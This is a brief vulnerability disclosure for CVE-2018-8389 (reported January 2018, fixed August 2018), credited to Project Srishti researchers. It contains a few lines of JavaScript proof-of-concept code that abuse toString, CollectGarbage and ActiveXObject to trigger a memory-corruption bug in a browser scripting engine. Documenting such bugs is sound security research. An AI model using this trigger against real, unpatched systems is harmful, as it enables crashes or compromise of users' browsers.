CVE-2018-8389 Report: Jan 2018 Fix: August 2018 Credit: Sudhakar Verma and Ashfaq Ansari - Project Srishti PoC var arr1 = new Object(); arr1.toString = function(){ CollectGarbage(); }; var arrs = new Array(0x7fff); var z = new ActiveXObject(arrs, [arr1]); Reference Microsoft Writeup